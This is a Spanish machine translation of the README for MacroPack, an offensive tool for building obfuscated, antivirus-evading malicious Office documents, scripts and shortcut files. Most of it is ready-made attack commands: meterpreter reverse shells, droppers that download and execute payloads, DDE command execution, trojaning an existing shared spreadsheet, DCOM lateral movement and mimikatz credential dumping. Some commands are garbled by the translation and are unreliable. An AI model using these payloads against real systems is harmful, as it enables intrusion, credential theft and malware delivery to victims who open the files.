MacroPack Community es una herramienta que se utiliza para automatizar la ofuscación y generación de formatos retro, como documentos de MS Office o formatos similares a VBS. También maneja varios formatos de accesos directos. Esta herramienta se puede utilizar para equipos rojos, pentests, demostraciones y evaluaciones de ingeniería social. MacroPack simplificará el paso de las soluciones antimalware y automatizará el proceso desde el origen vb hasta el documento final de Office u otro tipo de carga útil. Es muy sencillo de utilizar:
No se requiere configuración
Todo se puede hacer usando una sola línea de código.
Generación de la mayoría de formatos Office y formatos basados en VBS.
Cargas útiles diseñadas para ataques avanzados de ingeniería social (correo electrónico, memoria USB, etc.)
La herramienta es compatible con cargas útiles generadas por herramientas de pentest populares (Metasploit, Empire, ...). También es fácil de combinar con otras herramientas, ya que es posible leer la entrada desde la entrada estándar y tener una salida silenciosa a otra herramienta. Esta herramienta está escrita en Python3 y funciona en plataformas Linux y Windows.
Nota: Se requiere una plataforma Windows con las aplicaciones de MS Office adecuadas instaladas para la generación automática de documentos de Office o las funciones troyanos.
La herramienta utilizará varias técnicas de ofuscación, todas automáticas. Las funciones de ofuscación son compatibles con todos los formatos basados en VBA y VBS que pueden generar MacroPack.
La ofuscación básica (opción -o) incluye:
Cambiar el nombre de funciones
Cambiar el nombre de las variables
Eliminando espacios
Eliminando comentarios
Codificación de cadenas
MacroPack puede generar varios tipos de formatos de scripts y documentos de MS Office. El formato se adivinará automáticamente según la extensión de archivo dada. La generación de archivos se realiza mediante la opción --generar o -G.
La versión MacroPack pro también le permite troyanar archivos de Office existentes con la opción --trojan o -T.
Los formatos compatibles con MS Office son:
MS Word (.doc, .docm, .docx, .dotm)
MS Excel (.xls, .xlsm, .xslx, .xltm)
MS PowerPoint (.pptm, .potm)
Acceso MS (.accdb, .mdb)
MS Visio (.vsd,.vsdm)
Proyecto MS (.mpp)
Los formatos compatibles con secuencias de comandos (txt) son:
Archivo de texto VBA (.vba)
Archivo de texto VBS (.vbs).
Archivo de secuencia de comandos de Windows (.wsf)
Scriptlets de componentes de Windows Script (.wsc, .sct)
Aplicaciones HTML (.hta)
Hoja de estilo XSLT (.xsl) (Sí, MS XSLT contiene scripts ^^)
Los formatos compatibles con accesos directos/Shell son:
Enlace de shell (.lnk)
Archivo de comando del Explorador (.scf)
Acceso directo a URL (.url)
Atajos de ritmo (.glk)
Accesos directos a la configuración (.settingcontent-ms)
Biblioteca de MS (.library-ms)
Información de configuración (.inf)
Consulta web de Excel (.iqy)
Proyecto de Visual Studio (.csproj)
Línea de comando (.cmd)
Solo versión SYmbolic LinK (.slk) Pro
Ayuda HTML comprimida (.chm) solo versión Pro
Tenga en cuenta que todos los formatos de scripts y accesos directos (excepto LNK) también se pueden generar en la versión Linux de MacroPack.
Este software debe usarse únicamente en el contexto de una participación del Red Team, pruebas de penetración, simulación de phishing, investigación de seguridad u otra forma de evaluación de seguridad, con la autorización legal y formal de los propietarios del sistema. El uso de este software para atacar objetivos sin consentimiento previo está prohibido y es ilegal. Es responsabilidad del Usuario cumplir con todas las leyes locales, estatales, federales y nacionales aplicables.
No asumimos ninguna responsabilidad y no somos responsables de ningún mal uso o daño que pueda causar el uso de este software.
No todas las capacidades y opciones de MacroPack están disponibles en MacroPack Community. Sólo la versión comunitaria está disponible en línea. Las funciones de la versión pro realmente "convierten en un arma" el proceso, por lo que su acceso está restringido a profesionales.
El modo profesional incluye funciones como:
Omisión antimalware avanzada
Métodos avanzados de inyección de Shellcode
Ofuscación de línea de comando (Dosfuscation)
Bypass ASR y AMSI
Cargas útiles VBA/VBS de desempaquetado automático
Troyano existente en documentos de MS Office, archivos de ayuda y proyectos de Visual Studio.
Incorporar carga útil de señuelo
Movimiento lateral utilizando objetos DCOM
Antiingeniería inversa
Detección de zona de pruebas
Soporte de más formatos como Excel 4.0 SYLK y archivos de ayuda compilados.
Ejecute la carga útil avanzada de VB desde formatos inusuales
Plantillas armadas y plantillas adicionales (por ejemplo, EMPIRE, AUTOSHELLCODE)
Macros de Excel 4.0 (XLM)
Y mucho más…
Algunos vídeos breves de demostración están disponibles en el canal BallisKit Vimeo.
Importante: si desea ponerse en contacto conmigo sobre MacroPack pro, utilice mi dirección de correo electrónico emeric.nasi [arroba] sevagas.com. No responderé consultas anónimas sobre la versión Pro, sino solo correos electrónicos profesionales.
Obtenga el binario más reciente en https://github.com/sevagas/macro_pack/releases/
Descargue binario en PC con Microsoft Office original instalado.
Abra la consola, CD al directorio binario y llame al binario, ¡así de simple!
macro_pack.exe --ayuda
Debes estar en una máquina con Windows para crear MacroPack. Descargue e instale dependencias:
clon de git https://github.com/sevagas/macro_pack.gitcd macro_pack instalación de pip3 -r requisitos.txt
La herramienta está en Python 3, así que comience con la instalación de Python3. ex:
python3 macro_pack.py --help# orpython macro_pack.py --help # si python3 es la instalación predeterminada
Si desea producir un exe independiente usando pyinstaller:
Instalar pyinstaller: pip instalar pyinstaller
Haga doble clic en el script "build.bat".
El macro_pack.exe resultante estará dentro del directorio bin .
Listar todos los formatos de archivo compatibles
macro_pack.exe --formatos de lista
Listar todas las plantillas disponibles
macro_pack.exe --listtemplates
Ofusque el archivo vba generado por msfvenom y coloque el resultado en un nuevo archivo VBA.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
Ofusque el archivo Empire stager VBA y genere un documento de MS Word:
macro_pack.exe -f imperio.vba -o -G miDoc.docm
Genere un archivo MS Excel que contenga un cuentagotas ofuscado (descargue payload.exe y guárdelo como drop.exe)
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
Cree un documento de Word 97 que contenga una carga útil de VBA inversa meterpreter ofuscada dentro de una carpeta compartida
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G REMOTO-PCSharemeter.doc
Descargue y ejecute Empire Launcher stager sin powershell.exe usando la plantilla DROPPER_PS
# 1 Generar un archivo que contenga Empire lauchcher # 2 Hacer que ese archivo esté disponible en el servidor web, por ejemplo con netcat:{ echo -ne "HTTP/1.0 200 OKrnrn"; gato empire_stager.cmd; } | nc -l -p 6666 -q1# 3 Utilice macro_pack para generar la carga útil DROPPER_PS en el archivo Excelecho http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls# 4 Cuando se ejecuta en el destino, la macro descargará PowerShdll, lo ejecutará con rundll32 y descargará y ejecutará stager.
Ejecute calc.exe mediante un ataque de intercambio dinámico de datos (DDE)
eco calc.exe | macro_pack.exe --dde -G calc.xslx
Descargue y ejecute archivos a través de PowerShell mediante el ataque Dynamic Data Exchange (DDE)
# 1 Cambiar la URL del archivo de destino en resourcescommunityps_dl_exec.cmd # 2 Incrustar descarga ejecutar cmd en documentmacro_pack.exe --dde -f ..resourcescommunityps_dl_exec.cmd -G DDE.xslx
Ejecute el comando (notepad.exe) a través del archivo de consulta web de Excel y DDE
# 1 Cree un archivo dde.dat con el siguiente contenido=cmd|' /c notepad.exe'!A1# 2 Aloje dde.dat en el servidor web, ej. usando macro_pack -l# 3 Generar archivo .iqymacro_pack.exe -G dde.iqy
Genere un archivo VBS TCP inverso de meterpreter ofuscado y ejecútelo
# 1 Genere VBS ofuscado basado en la plantilla de meterpreter y en el archivo de recursos de Metasploitecho| macro_pack.exe -t METERPRETER -o -G medidor.vbs # 2 En la máquina atacante Configurar el oyente meterpreter msfconsole -r meterpreter.rc # 3 ejecute el archivo VBS con wscript (ejecute wscript de 32 bits porque la carga útil de meterpreter es de 32 bits)%windir%SysWoW64wscript meter.vbs
Genere un archivo HTA ofuscado que ejecute "systeminfo" y devuelva el resultado a otro macro_pack que escucha en 192.168.0.5
# 1 Generar archivo HTA con REMOTE_CMD templateecho http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta # 2 En 192.168.0.5 abra macro_pack como oyente http macro_pack.exe -l. --port=1234# 3 ejecuta el archivo hta con mshta mshta.exe completa/ruta/a/info.hta
Genere un acceso directo a una URL que ejecute un archivo HTA local cuando haga clic en él
echo "archivo://C:UsuariosnombredeusuarioDesktophello.hta" | macro_pack.exe -G yop.url
Generar acceso directo de lnk que ejecuta un cmd ejecutando calc.exe con el icono de calc.exe
echo '"c:WindowsSystem32cmd.exe /c calc.exe" "calc.exe"' | macro_pack.exe -G calc.lnk
Troyano el archivo compartido "report.xlsm" existente con un cuentagotas. Utilice funciones anti-AV y anti-reversa.
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:accountingreport.xls"
Genere un archivo de Word que contenga la carga útil de VBA del medidor inverso x64 autocodificado de VBA (evitará la mayoría de los AV). Se necesita mantener vivo porque necesitamos que meterpreter se mantenga vivo antes de migrar.
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --keep-alive -G out.docm
Troyano un archivo de PowerPoint con un código de shell sin formato inverso. La macro está ofuscada y alterada para evitar AMSI y la mayoría de los antivirus.
eco baliza.bin | macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
Ejecute una macro en una PC remota usando DCOM.
REM Paso 1: Asegúrese de tener suficientes derechosnet use 192.168.0.8c$ /user:domainusername contraseñaREM Paso 2: Genere el documento, por ejemplo aquí, meterpreter TCP inverso archivo Excelecho 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsmREM Paso 3: Copie el documento en algún lugar del sharecopy remoto meter.xlsm "192.168.0.8c$usersusernamemeter.xlsm"REM Paso 4: Ejecute!macro_pack.exe --dcom=" 192.168.0.8c$usersusernamemeter.xlsm"REM Paso 2 a 4 en un solo paso:echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "192.168.0.8c$usersusernamemeter.xlsm" --dcom="192.168.0.8c$usersusernamemeter.xlsm"
Main payload generation options: -G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension. MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files. Note: Office payload generation requires that MS Office application is installed on the machine --listformats View all file formats which can be generated by MacroPack -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats If no input file is provided, input must be passed via stdin (using a pipe). -t, --template=TEMPLATE_NAME Use code template already included in MacroPack MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass --listtemplates View all templates provided by MacroPack -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document. Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll. Security bypass options: -o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name) --obfuscate-names-charset=Set a charset for obfuscated variables and functions Choose between: alpha, alphanum, complete or provide the list of char you want --obfuscate-names-minlen= Set min length of obfuscated variables and functions (default 8) --obfuscate-names-maxlen= Set max length of obfuscated variables and functions (default 20) --uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates Other options: -q, --quiet Do not display anything on screen, just process request. -p, --print Display result file on stdout (will display VBA for Office formats) Combine this option with -q option to pipe result into another program ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app -s, --start-function=START_FUNCTION Entry point of macro file Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function --icon Path of generated file icon. Default is %windir%system32imageres.dll,67 --dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE This option is only compatible with Excel formats. --run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations. This will trigger AutoOpen/Workbook_Open automatically. If no auto start function, use --start-function option to indicate which macro to run. --unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers. Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg In this case, windows or linux explorers will show the file named as: somethingath.jpg -l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80. -w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH. --port=PORT Specify the listening port for HTTP and WebDAV servers. -h, --help Displays help and exit
Las plantillas se pueden llamar usando -t, --template=TEMPLATE_NAME combinado con otras opciones.
Aquí están todas las plantillas disponibles.
Simplemente imprima un mensaje de saludo y concientización sobre la macro.
Dale a esta plantilla el nombre o correo electrónico del autor:
-> Ejemplo: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
Ejecutar un comando.
Dale a esta plantilla una línea de comando
-> Ejemplo (extraer calc.exe de un archivo xslt): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
Ejecute una línea de comando y envíe los resultados al servidor HTTP remoto.
Proporcione a esta plantilla la URL del servidor y el comando para ejecutar:
-> Ejemplo: echo "http://192.168.0.5:7777" "dir /QC:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc
# Captura el resultado con cualquier servidor web o netcatnc -l -p 7777
Descargar y ejecutar un archivo.
Proporcione a esta plantilla la URL del archivo y la ruta del archivo de destino.
-> Ejemplo: echo
Descargue y ejecute el script de Powershell usando rundll32 (para omitir powershell.exe bloqueado).
Nota: Esta carga útil descargará PowerShdll desde Github.
Proporcione a esta plantilla la URL del script de PowerShell que desea ejecutar:
-> Ejemplo: echo "
Descargue una DLL con otra extensión y ejecútela usando Office VBA.
-> Ejemplo, cargar la DLL de meterpreter usando Office:
REM Generar meterpreter dll payloadmsfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dllREM Hacerlo disponible en el servidor web, por ejemplo, usando netcat en el puerto 6666{ echo -ne "HTTP/1.0 200 OKrnrn" ; cat meter.dll; } | nc -l -p 6666 -q1REM Cree un archivo OFfice que descargará la DLL y lo llamará REM. La URL de la DLL es http://192.168.0.5:6666/normal.html y se guardará como archivo .asdecho "http://192.168 .0.5:6666/normal.html" Ejecutar | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls
Plantilla TCP inversa de Meterpreter utilizando MacroMeter de Cn33liz.
Esta plantilla es CSharp meterpreter Stager construida por Cn33liz e integrada en VBA usando DotNetToJScript de James Forshaw.
Proporcione a esta plantilla la IP y el PUERTO de escucha de mfsconsole:
-> Ejemplo: echo
Esta plantilla también genera un archivo meterpreter.rc para crear el controlador Metasploit.
-> Ejemplo: msfconsole -r meterpreter.rc
Suelte y ejecute un archivo incrustado.
Combine con la opción --embed, soltará y ejecutará el archivo incrustado con un nombre aleatorio en la carpeta TEMP.
-> Ejemplo: macro_pack.exe -t EMBED_EXE --embed=c:windowssystem32calc.exe -o -G my_calc.vbs
Combine con la opción --embed, soltará y llamará a una función en la DLL dada.
Dé a esta plantilla el nombre y los parámetros de la función para llamar en DLL
-> Ejemplo1: echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> Ejemplo 2: echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
Las diversas funciones se probaron con soluciones antimalware instaladas localmente, así como con servicios en línea. Realicé varias pruebas con varios tipos de cargas útiles y funciones de MacroPack. La mayoría de los antivirus estáticos se evitarán con la simple opción "ofuscar". Sin embargo, como la mayoría de las herramientas gratuitas, las cargas útiles generalmente se detectan mediante análisis de comportamiento como AMSI. Las funciones disponibles en el modo MacroPack pro generalmente permiten la omisión AV completa, incluido AMSI.
Advertencia: No envíe sus muestras a escáneres en línea (ex VirusTotal). Es la mejor manera de romper su macro oculta. También le sugiero que no envíe mensajes a sitios que no generen informes, como NoDistribute. No puede estar seguro de qué harán estos sitios con los datos que envíe. Si tiene un problema con la detección de AV macro_pack, puede escribirnos para recibir asesoramiento o enviar un problema o una solicitud de extracción.
Publicaciones de blog sobre MacroPack Pro:
https://blog.sevagas.com/?Launch-shellcodes-and-bypass-Antivirus-using-MacroPack-Pro-VBA-payloads
https://blog.sevagas.com/?EXCEL-4-0-XLM-macro-in-MacroPack-Pro (cargas útiles de Excel 4.0 en MacroPack Pro)
https://blog.sevagas.com/?Advanced-MacroPack-payloads-XLM-Injection (inyección XLM en MacroPack Pro)
Publicaciones de blog sobre piratería con MS Office, VBS y otras cosas de seguridad retro:
https://blog.sevagas.com/?Bypass-Windows-Defender-Attack-Surface-Reduction
https://subt0x11.blogspot.fr/2018/04/wmicexe-whitelisting-bypass-hacking.html
http://blog.sevagas.com/?My-VBA-Bot (escriba un VBA RAT completo, incluye cómo evitar la protección VBOM)
http://blog.sevagas.com/?Hacking-around-HTA-files (ejecute código hta en archivos que no sean hta y políglotas hta)
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ (Acerca de los ataques de intercambio dinámico de datos)
https://enigma0x3.net/2017/09/11/movimiento-lateral-usando-excel-aplicación-y-dcom/
Otros enlaces útiles:
https://github.com/p3nt4/PowerShdll (ejecute PowerShell solo con archivos DLL)
https://gist.github.com/vivami/03780dd512fec22f3a2bae49f9023384 (Ejecute el script de PowerShell con la implementación de PowerShdll VBA)
https://github.com/EmpireProject/Empire
https://medium.com/@vivami/phishing-between-the-app-whitelists-1b7dcdab4279
https://github.com/Cn33liz/MacroMeter
https://github.com/khr0x40sh/MacroShop
https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard
No dudes en enviarme un mensaje a mi cuenta de Twitter @EmericNasi
Correos electrónicos:
emeric.nasi[en]sevagas.com
ena.sevagas[en]protonmail.com
Importante: si desea ponerse en contacto conmigo sobre MacroPack pro, utilice mi dirección de correo electrónico sevagas.com. También tenga en cuenta que no responderé consultas anónimas sobre la versión Pro, solo correos electrónicos profesionales.
La licencia Apache 2.0
Copyright 2017,2018,2019,2020,2021,2022 Emeric “Sio” Nasi (blog.sevagas.com)